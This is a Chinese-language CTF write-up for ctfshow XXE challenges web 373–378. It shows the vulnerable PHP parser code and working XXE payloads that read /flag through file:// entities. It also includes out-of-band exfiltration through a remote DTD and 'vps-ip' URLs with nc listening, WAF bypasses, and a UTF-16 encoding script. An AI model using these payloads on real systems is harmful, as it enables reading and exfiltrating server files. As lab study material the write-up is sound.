XXE全称为XML External Entity Injection即XMl外部实体注入漏洞
1.XXE简介
XXE就是XML外部实体注入,当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。
那有的小伙伴可能就会问了,那XML又是什么呢?
2.XML概念
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很像HTML语言。
但是XML和HTML有明显区别如下:
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
原理:
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载, 导致用户可以控制外部的加载文件,造成XXE漏洞。
web 373
有回显XXE,外部实体
<?php
error_reporting(0);
//不禁止外部实体载入
libxml_disable_entity_loader(false);
//拿POST原始数据,赋值给xmlfile
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
//生成一个Document
$dom = new DOMDocument();
// 调用loadXML方法,读取原始的XML数据($xmlfile)。加载xml实体,参数为替代实体、加载外部子集
//LIBXML_NOENT 是替代实体
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 把 DOM 对象转换为 PHP 对象。相当于从XML变成了PHP里面的对象。
$creds = simplexml_import_dom($dom);
// 通过箭头表达式引用。
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
payload
<?xml version="1.0" encoding="UTF-8"?>
<!-- 定义hacker变量 -->
<!-- 外部实体的声明使用SYSTEM关键字,并且必须指定应从中加载实体值的URL。注入实体,值为根目录下flag文件内容 -->
<!DOCTYPE hacker[
<!ENTITY hacker SYSTEM "file:///flag">
]>
<!-- -->
<root>
<!-- PHP中$ctfshow = $creds->ctfshow; -->
<ctfshow>
<!-- 读取hacker变量 -->
&hacker;
</ctfshow>
</root>
只能在bp里面发这个POST数据。hackbar发POST如果不是键值对形式,POST数据不会发送。
web 374
无回显XXE,外部实体。
payload
<?xml version="1.0" encoding="UTF-8"?>
<!-- 要引用(dtd里面),所以要加百分号% -->
<!-- /flag 改成 /etc/passwd 可能会失败,因为内容太多了 -->
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://vps-ip/test.dtd">
%myurl;
]>
<!-- 不能直接<!ENTITY % myurl SYSTEM "http://vps-ip:port/%file"> ,因为默认不允许把本地文件发送到远程dtd里面,需要绕一圈,绕过这个限制-->
<!-- %myurl;会读取远程dtd文件,读到了以后,因为远程dtd文件有一个实体的定义(% dtd),那么就会解析这个实体定义。(% dtd)实体的定义内容是另外一个实体定义(% vps),那就会解析(% vps),就会执行远程请求,请求地址(http://vps-ip:port/%file),会在我们的vps日志上留下痕迹。
也可以起nc监听端口,能判断是否有向我们的vps发送请求以及请求内容。起nc的话% myurl的值,不要加端口,就vps-ip够了。
总结就是,%myurl 这种引用会自动向地址发送请求。 -->
<root>
1
</root>
test.dtd(放vps上面)内容
<!ENTITY % dtd "<!ENTITY % vps SYSTEM 'http://vps-ip:port/%file;'> ">
<!-- % 就是百分号(% vps=% vps),因为是嵌套在里面的引用,不能直接写百分号 -->
<!-- 如果选择nc监听的话,端口一定要加!!! -->
<!-- 如果选择看日志的话,端口一定不能加!!! -->
<!-- 引用(执行)dtd实体,vps被注册 -->
%dtd;
<!-- 引用(执行)vps实体,接收%file变量的内容 -->
%vps;
web 375
无回显XXE,外部实体,绕过过滤。
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:22:05
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
相较于上题,多了一个正则表达式,过滤了<?xml version="1.0"
这个字符串
我们还是用上一题的payload,只不过不写XML头了(XML声明)
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://vps-ip/test.dtd">
%myurl;
]>
<root>
1
</root>
web 376
相较于上题,过滤了<?xml version="1.0"
这个字符串同时,/i
模式把大小写都过滤了。过滤大小写没什么用,没有啥绕过方式是大小写绕过的。
还是374的payload不写xml头
web 377
比之前几题多过滤了一个http
编码绕过,用python脚本把web374的payload转为utf-16编码。
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。
import requests
url = 'http://a83196d0-7399-4a44-9601-23509c34a124.challenge.ctf.show/'
#注意这里是单引号,为了绕过过滤
payload = """<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://vps-ip/test.dtd">
%myurl;
]>
<root>
1
</root>
"""
payload = payload.encode('utf-16')
print(requests.post(url ,data=payload).text)
web 378
是一个登录界面
抓个包
很明显,就是xxe
payload
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>&xxe;</password></user>